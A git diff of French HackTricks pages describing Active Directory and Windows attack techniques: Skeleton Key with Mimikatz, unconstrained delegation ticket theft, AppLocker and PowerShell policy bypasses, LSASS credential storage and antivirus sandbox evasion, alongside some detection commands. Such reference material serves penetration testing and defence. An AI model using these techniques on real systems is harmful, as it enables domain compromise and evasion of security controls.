-L'attaque **Skeleton Key** est une technique sophistiquée qui permet aux attaquants de **contourner l'authentification Active Directory** en **injectant un mot de passe maître** dans le contrôleur de domaine. Cela permet à l'attaquant de **s'authentifier en tant que n'importe quel utilisateur** sans leur mot de passe, leur accordant ainsi un **accès illimité** au domaine. +## Attaque Skeleton Key + +L'attaque **Skeleton Key** est une technique sophistiquée qui permet aux attaquants de **contourner l'authentification Active Directory** en **injectant un mot de passe maître** dans le contrôleur de domaine. Cela permet à l'attaquant de **s'authentifier en tant que n'importe quel utilisateur** sans leur mot de passe, lui accordant ainsi un **accès illimité** au domaine. Elle peut être réalisée en utilisant [Mimikatz](https://github.com/gentilkiwi/mimikatz). Pour mener à bien cette attaque, les **droits d'administrateur de domaine sont requis**, et l'attaquant doit cibler chaque contrôleur de domaine pour garantir une violation complète. Cependant, l'effet de l'attaque est temporaire, car **redémarrer le contrôleur de domaine éradique le logiciel malveillant**, nécessitant une réimplémentation pour un accès soutenu. @@ -22,17 +24,17 @@ L'**exécution de l'attaque** nécessite une seule commande : `misc::skeleton`. ## Atténuation -Les stratégies d'atténuation contre de telles attaques incluent la surveillance des ID d'événements spécifiques indiquant l'installation de services ou l'utilisation de privilèges sensibles. En particulier, rechercher l'ID d'événement Système 7045 ou l'ID d'événement Sécurité 4673 peut révéler des activités suspectes. De plus, exécuter `lsass.exe` en tant que processus protégé peut considérablement entraver les efforts des attaquants, car cela les oblige à utiliser un pilote en mode noyau, augmentant la complexité de l'attaque. +Les stratégies d'atténuation contre de telles attaques incluent la surveillance des ID d'événements spécifiques indiquant l'installation de services ou l'utilisation de privilèges sensibles. En particulier, rechercher l'ID d'événement système 7045 ou l'ID d'événement sécurité 4673 peut révéler des activités suspectes. De plus, exécuter `lsass.exe` en tant que processus protégé peut considérablement entraver les efforts des attaquants, car cela les oblige à utiliser un pilote en mode noyau, augmentant la complexité de l'attaque. Voici les commandes PowerShell pour renforcer les mesures de sécurité : - Pour détecter l'installation de services suspects, utilisez : `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Pilote en mode noyau*"}` - -- Spécifiquement, pour détecter le pilote de Mimikatz, la commande suivante peut être utilisée : `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Pilote en mode noyau*" -and $_.message -like "*mimidrv*"}` - + +- Plus spécifiquement, pour détecter le pilote de Mimikatz, la commande suivante peut être utilisée : `Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "*Pilote en mode noyau*" -and $_.message -like "*mimidrv*"}` + - Pour renforcer `lsass.exe`, il est recommandé de l'activer en tant que processus protégé : `New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose` -La vérification après un redémarrage du système est cruciale pour s'assurer que les mesures de protection ont été appliquées avec succès. Cela est réalisable via : `Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "*processus protégé*` +Il est crucial de vérifier après un redémarrage du système que les mesures de protection ont été appliquées avec succès. Cela est réalisable via : `Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "*processus protégé*` ## Références * [https://blog.netwrix.com/2022/11/29/skeleton-key-attack-active-directory/](https://blog.netwrix.com/2022/11/29/skeleton-key-attack-active-directory/) diff --git a/windows-hardening/active-directory-methodology/unconstrained-delegation.md b/windows-hardening/active-directory-methodology/unconstrained-delegation.md index 326cbad10..4cc36260b 100644 --- a/windows-hardening/active-directory-methodology/unconstrained-delegation.md +++ b/windows-hardening/active-directory-methodology/unconstrained-delegation.md @@ -2,21 +2,21 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Délégation sans contrainte -Il s'agit d'une fonctionnalité qu'un administrateur de domaine peut définir pour n'importe quel **ordinateur** à l'intérieur du domaine. Ensuite, chaque fois qu'un **utilisateur se connecte** à l'ordinateur, une **copie du TGT** de cet utilisateur va être **envoyée à l'intérieur du TGS** fourni par le DC **et enregistrée en mémoire dans LSASS**. Ainsi, si vous avez des privilèges d'administrateur sur la machine, vous pourrez **extraire les tickets et usurper les utilisateurs** sur n'importe quelle machine. +Il s'agit d'une fonctionnalité qu'un administrateur de domaine peut définir pour n'importe quel **ordinateur** à l'intérieur du domaine. Ensuite, chaque fois qu'un **utilisateur se connecte** à l'ordinateur, une **copie du TGT** de cet utilisateur va être **envoyée à l'intérieur du TGS** fourni par le DC **et sauvegardée en mémoire dans LSASS**. Ainsi, si vous avez des privilèges d'administrateur sur la machine, vous pourrez **extraire les tickets et vous faire passer pour les utilisateurs** sur n'importe quelle machine. -Donc, si un administrateur de domaine se connecte à un ordinateur avec la fonctionnalité de "Délégation sans contrainte" activée, et que vous avez des privilèges d'administrateur local sur cette machine, vous pourrez extraire le ticket et usurper l'administrateur de domaine n'importe où (élévation de privilèges de domaine). +Donc, si un administrateur de domaine se connecte à un ordinateur avec la fonctionnalité de "Délégation sans contrainte" activée, et que vous avez des privilèges d'administrateur local sur cette machine, vous pourrez extraire le ticket et vous faire passer pour l'administrateur de domaine n'importe où (élévation de privilèges de domaine). Vous pouvez **trouver des objets d'ordinateur avec cet attribut** en vérifiant si l'attribut [userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx) contient [ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx). Vous pouvez le faire avec un filtre LDAP de ‘(userAccountControl:1.2.840.113556.1.4.803:=524288)’, c'est ce que fait powerview : @@ -40,7 +40,7 @@ Plus d'informations : [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/] ### **Forcer l'authentification** Si un attaquant est capable de **compromettre un ordinateur autorisé pour la "Délégation sans contrainte"**, il pourrait **tromper** un **serveur d'impression** pour **se connecter automatiquement** contre lui **enregistrant un TGT** dans la mémoire du serveur.\ -Ensuite, l'attaquant pourrait effectuer une **attaque Pass the Ticket pour usurper** le compte utilisateur du serveur d'impression. +Ensuite, l'attaquant pourrait effectuer une **attaque Pass the Ticket pour se faire passer pour** l'utilisateur du compte d'ordinateur du serveur d'impression. Pour faire en sorte qu'un serveur d'impression se connecte à n'importe quelle machine, vous pouvez utiliser [**SpoolSample**](https://github.com/leechristensen/SpoolSample) : ```bash diff --git a/windows-hardening/authentication-credentials-uac-and-efs.md b/windows-hardening/authentication-credentials-uac-and-efs.md index 9be1aaa59..e56e9186d 100644 --- a/windows-hardening/authentication-credentials-uac-and-efs.md +++ b/windows-hardening/authentication-credentials-uac-and-efs.md @@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour créer et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -25,7 +25,7 @@ Accédez dès aujourd'hui : Une liste blanche d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et à s'exécuter sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants nocifs et les logiciels non approuvés qui ne correspondent pas aux besoins commerciaux spécifiques d'une organisation. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de liste blanche d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **les applications et fichiers que les utilisateurs peuvent exécuter**. Il offre un **contrôle granulaire** sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.\ +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de liste blanche d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **les applications et les fichiers que les utilisateurs peuvent exécuter**. Il offre un **contrôle granulaire** sur les exécutables, les scripts, les fichiers d'installation Windows, les DLL, les applications empaquetées et les installateurs d'applications empaquetées.\ Il est courant pour les organisations de **bloquer cmd.exe et PowerShell.exe** et l'accès en écriture à certains répertoires, **mais tout cela peut être contourné**. ### Vérification @@ -39,12 +39,12 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Ce chemin d'accès au registre contient les configurations et les politiques appliquées par AppLocker, offrant un moyen de passer en revue l'ensemble actuel de règles appliquées sur le système : +Ce chemin de registre contient les configurations et les politiques appliquées par AppLocker, offrant un moyen de passer en revue l'ensemble actuel de règles appliquées sur le système : - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` -### Contournement +### Contourner * **Dossiers inscriptibles** utiles pour contourner la politique AppLocker : Si AppLocker autorise l'exécution de quoi que ce soit à l'intérieur de `C:\Windows\System32` ou `C:\Windows`, il existe des **dossiers inscriptibles** que vous pouvez utiliser pour **contourner cela**. ``` @@ -53,30 +53,30 @@ C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -* Les binaires **"LOLBAS's"** couramment **fiables** peuvent également être utiles pour contourner AppLocker. +* Les binaires **"LOLBAS"** communément **fiables** peuvent également être utiles pour contourner AppLocker. * Les règles **mal écrites peuvent également être contournées** * Par exemple, avec **``**, vous pouvez créer un **dossier appelé `allowed`** n'importe où et il sera autorisé. * Les organisations se concentrent souvent sur le blocage de l'exécutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`, mais oublient les **autres** [**emplacements des exécutables PowerShell**](https://www.powershelladmin.com/wiki/PowerShell\_Executables\_File\_System\_Locations) tels que `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`. -* **L'application stricte des DLL est très rarement activée** en raison de la charge supplémentaire qu'elle peut mettre sur un système, et de la quantité de tests nécessaires pour s'assurer que rien ne sera cassé. Ainsi, l'utilisation de **DLL comme portes dérobées aidera à contourner AppLocker**. +* **L'application des DLL est très rarement activée** en raison de la charge supplémentaire qu'elle peut mettre sur un système, et de la quantité de tests nécessaires pour s'assurer que rien ne se cassera. Ainsi, l'utilisation des **DLL comme portes dérobées aidera à contourner AppLocker**. * Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) pour **exécuter du code Powershell** dans n'importe quel processus et contourner AppLocker. Pour plus d'informations, consultez : [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). -## Stockage des informations d'identification +## Stockage des identifiants ### Gestionnaire de comptes de sécurité (SAM) -Les informations d'identification locales sont présentes dans ce fichier, les mots de passe sont hachés. +Les identifiants locaux sont présents dans ce fichier, les mots de passe sont hachés. ### Autorité de sécurité locale (LSA) - LSASS -Les **informations d'identification** (hachées) sont **sauvegardées** dans la **mémoire** de ce sous-système pour des raisons de connexion unique.\ +Les **identifiants** (hachés) sont **enregistrés** dans la **mémoire** de ce sous-système pour des raisons de connexion unique.\ **LSA** administre la **politique de sécurité** locale (politique de mot de passe, autorisations des utilisateurs...), **l'authentification**, **les jetons d'accès**...\ -LSA sera celui qui **vérifiera** les informations d'identification fournies dans le fichier **SAM** (pour une connexion locale) et **communiquera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine. +LSA sera celui qui **vérifiera** les identifiants fournis dans le fichier **SAM** (pour une connexion locale) et **communiquera** avec le **contrôleur de domaine** pour authentifier un utilisateur de domaine. -Les **informations d'identification** sont **sauvegardées** à l'intérieur du **processus LSASS** : tickets Kerberos, hachages NT et LM, mots de passe facilement déchiffrables. +Les **identifiants** sont **enregistrés** à l'intérieur du **processus LSASS** : tickets Kerberos, hachages NT et LM, mots de passe facilement déchiffrables. ### Secrets LSA -LSA pourrait sauvegarder sur le disque certaines informations d'identification : +LSA pourrait enregistrer sur le disque certains identifiants : * Mot de passe du compte ordinateur de l'Active Directory (contrôleur de domaine inaccessible). * Mots de passe des comptes des services Windows @@ -149,7 +149,7 @@ Vous pouvez également utiliser `cipher /e` et `cipher /d` à l'intérieur d'un #### En tant qu'autorité système -Cette méthode nécessite que l'**utilisateur victime** exécute un **processus** à l'intérieur de l'hôte. Si c'est le cas, en utilisant des sessions `meterpreter`, vous pouvez usurper le jeton du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pourriez simplement `migrer` vers le processus de l'utilisateur. +Cette méthode nécessite que l'utilisateur **victime** exécute un **processus** à l'intérieur de l'hôte. Dans ce cas, en utilisant des sessions `meterpreter`, vous pouvez usurper le jeton du processus de l'utilisateur (`impersonate_token` de `incognito`). Ou vous pourriez simplement `migrer` vers le processus de l'utilisateur. #### Connaître le mot de passe de l'utilisateur @@ -160,10 +160,10 @@ Cette méthode nécessite que l'**utilisateur victime** exécute un **processus* Microsoft a développé les **Comptes de service gérés par groupe (gMSA)** pour simplifier la gestion des comptes de service dans les infrastructures informatiques. Contrairement aux comptes de service traditionnels qui ont souvent l'option "**Mot de passe n'expire jamais**" activée, les gMSA offrent une solution plus sécurisée et plus facile à gérer : - **Gestion automatique des mots de passe** : les gMSA utilisent un mot de passe complexe de 240 caractères qui change automatiquement selon la politique de domaine ou d'ordinateur. Ce processus est géré par le Service de distribution de clés de Microsoft (KDC), éliminant le besoin de mises à jour manuelles des mots de passe. -- **Sécurité renforcée** : ces comptes sont immunisés contre les blocages et ne peuvent pas être utilisés pour des connexions interactives, renforçant leur sécurité. +- **Sécurité renforcée** : Ces comptes sont immunisés contre les blocages et ne peuvent pas être utilisés pour des connexions interactives, renforçant leur sécurité. - **Prise en charge de plusieurs hôtes** : les gMSA peuvent être partagés entre plusieurs hôtes, ce qui les rend idéaux pour les services s'exécutant sur plusieurs serveurs. -- **Capacité de tâches planifiées** : contrairement aux comptes de service gérés, les gMSA prennent en charge l'exécution de tâches planifiées. -- **Gestion simplifiée des SPN** : le système met automatiquement à jour le nom principal de service (SPN) lorsqu'il y a des changements dans les détails sAMaccount de l'ordinateur ou le nom DNS, simplifiant la gestion des SPN. +- **Capacité de tâches planifiées** : Contrairement aux comptes de service gérés, les gMSA prennent en charge l'exécution de tâches planifiées. +- **Gestion simplifiée des SPN** : Le système met automatiquement à jour le nom principal de service (SPN) lorsqu'il y a des changements dans les détails sAMaccount de l'ordinateur ou le nom DNS, simplifiant la gestion des SPN. Les mots de passe des gMSA sont stockés dans la propriété LDAP _**msDS-ManagedPassword**_ et sont automatiquement réinitialisés tous les 30 jours par les contrôleurs de domaine (DC). Ce mot de passe, un bloc de données chiffrées connu sous le nom de [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), ne peut être récupéré que par des administrateurs autorisés et les serveurs sur lesquels les gMSA sont installés, assurant un environnement sécurisé. Pour accéder à ces informations, une connexion sécurisée telle que LDAPS est requise, ou la connexion doit être authentifiée avec 'Scellement & Sécurité'. @@ -179,7 +179,7 @@ Consultez également cette [page web](https://cube0x0.github.io/Relaying-for-gMS ## LAPS -La **Solution de mot de passe administrateur local (LAPS)**, disponible en téléchargement depuis [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet de gérer les mots de passe des administrateurs locaux. Ces mots de passe, qui sont **aléatoires**, uniques et **changés régulièrement**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec les autorisations suffisantes accordées, la capacité de lire les mots de passe des administrateurs locaux est fournie. +La **Solution de mot de passe administrateur local (LAPS)**, disponible en téléchargement depuis [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permet de gérer les mots de passe administrateur locaux. Ces mots de passe, qui sont **aléatoires**, uniques et **changés régulièrement**, sont stockés de manière centralisée dans Active Directory. L'accès à ces mots de passe est restreint par des ACL aux utilisateurs autorisés. Avec les autorisations suffisantes accordées, la capacité de lire les mots de passe administrateur locaux est fournie. {% content-ref url="active-directory-methodology/laps.md" %} [laps.md](active-directory-methodology/laps.md) @@ -187,7 +187,7 @@ La **Solution de mot de passe administrateur local (LAPS)**, disponible en tél ## Mode de langage PowerShell contraint -Le [**Mode de langage contraint PowerShell**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille bon nombre des fonctionnalités** nécessaires pour utiliser PowerShell efficacement, telles que le blocage des objets COM, en n'autorisant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore. +Le [**Mode de langage contraint PowerShell**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **verrouille bon nombre des fonctionnalités** nécessaires pour utiliser PowerShell efficacement, telles que le blocage des objets COM, en ne permettant que les types .NET approuvés, les workflows basés sur XAML, les classes PowerShell, et plus encore. ### **Vérification** ```powershell @@ -214,7 +214,7 @@ Vous pouvez utiliser [**ReflectivePick**](https://github.com/PowerShellEmpire/Po ## Politique d'exécution PS -Par défaut, elle est définie sur **restricted.** Principales façons de contourner cette politique: +Par défaut, elle est définie sur **restricted.** Principales façons de contourner cette politique : ```powershell 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -238,7 +238,7 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T Est l'API qui peut être utilisée pour authentifier les utilisateurs. -Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui veulent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera le protocole d'authentification à utiliser, ces protocoles d'authentification sont appelés Fournisseur de Support de Sécurité (SSP), sont situés à l'intérieur de chaque machine Windows sous forme de DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer. +Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui veulent communiquer. La méthode préférée pour cela est Kerberos. Ensuite, le SSPI négociera le protocole d'authentification qui sera utilisé, ces protocoles d'authentification sont appelés Fournisseur de Support de Sécurité (SSP), ils sont situés à l'intérieur de chaque machine Windows sous forme de DLL et les deux machines doivent prendre en charge le même pour pouvoir communiquer. ### Principaux SSP @@ -257,7 +257,7 @@ Le SSPI sera chargé de trouver le protocole adéquat pour deux machines qui veu ## UAC - Contrôle de compte d'utilisateur -[Contrôle de compte d'utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **demande de consentement pour des activités élevées**. +[Contrôle de compte d'utilisateur (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) est une fonctionnalité qui permet une **demande de consentement pour les activités élevées**. {% content-ref url="windows-security-controls/uac-user-account-control.md" %} [uac-user-account-control.md](windows-security-controls/uac-user-account-control.md) @@ -281,8 +281,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/av-bypass.md b/windows-hardening/av-bypass.md index 70683aa7a..69ff1948c 100644 --- a/windows-hardening/av-bypass.md +++ b/windows-hardening/av-bypass.md @@ -2,15 +2,15 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -24,15 +24,15 @@ Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichi La détection statique est réalisée en signalant des chaînes malveillantes connues ou des tableaux d'octets dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, description du fichier, nom de l'entreprise, signatures numériques, icône, somme de contrôle, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe quelques façons de contourner ce type de détection : -* **Chiffrement** +- **Chiffrement** Si vous chiffrez le binaire, l'AV ne pourra pas détecter votre programme, mais vous aurez besoin d'un type de chargeur pour décrypter et exécuter le programme en mémoire. -* **Obfuscation** +- **Obfuscation** Parfois, il suffit de modifier quelques chaînes dans votre binaire ou script pour le faire passer devant l'AV, mais cela peut être une tâche chronophage en fonction de ce que vous essayez d'obfusquer. -* **Outils personnalisés** +- **Outils personnalisés** Si vous développez vos propres outils, il n'y aura pas de signatures malveillantes connues, mais cela prend beaucoup de temps et d'efforts. @@ -44,15 +44,15 @@ Je vous recommande vivement de consulter cette [playlist YouTube](https://www.yo ### **Analyse dynamique** -L'analyse dynamique consiste à exécuter votre binaire dans un bac à sable et à surveiller les activités malveillantes (par exemple, essayer de décrypter et lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à manipuler, mais voici quelques choses que vous pouvez faire pour éviter les bac à sable. +L'analyse dynamique consiste à exécuter votre binaire dans un bac à sable et à surveiller les activités malveillantes (par exemple, tenter de décrypter et lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à manipuler, mais voici quelques choses que vous pouvez faire pour éviter les bac à sable. -* **Pause avant l'exécution** Selon la manière dont c'est implémenté, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont très peu de temps pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc utiliser de longues pauses peut perturber l'analyse des binaires. Le problème est que de nombreux bac à sable des AV peuvent simplement sauter la pause en fonction de la manière dont elle est implémentée. -* **Vérification des ressources de la machine** Les bac à sable ont généralement très peu de ressources à leur disposition (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même la vitesse des ventilateurs, tout ne sera pas implémenté dans le bac à sable. -* **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont la station de travail est connectée au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme. +- **Pause avant l'exécution** Selon la manière dont elle est implémentée, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont très peu de temps pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longues pauses peut perturber l'analyse des binaires. Le problème est que de nombreux bac à sable AV peuvent simplement sauter la pause en fonction de la manière dont elle est implémentée. +- **Vérification des ressources de la machine** Les bac à sable ont généralement très peu de ressources à leur disposition (par exemple, < 2 Go de RAM), sinon ils pourraient ralentir la machine de l'utilisateur. Vous pouvez également être très créatif ici, par exemple en vérifiant la température du CPU ou même les vitesses des ventilateurs, tout ne sera pas implémenté dans le bac à sable. +- **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont le poste de travail est joint au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme. Il s'avère que l'ordinateur Sandbox de Microsoft Defender s'appelle HAL9TH, donc, vous pouvez vérifier le nom de l'ordinateur dans votre logiciel malveillant avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du bac à sable de Defender, vous pouvez donc faire sortir votre programme. -

source : https://youtu.be/StSLxFbVz0M?t=1439

+

source: https://youtu.be/StSLxFbVz0M?t=1439

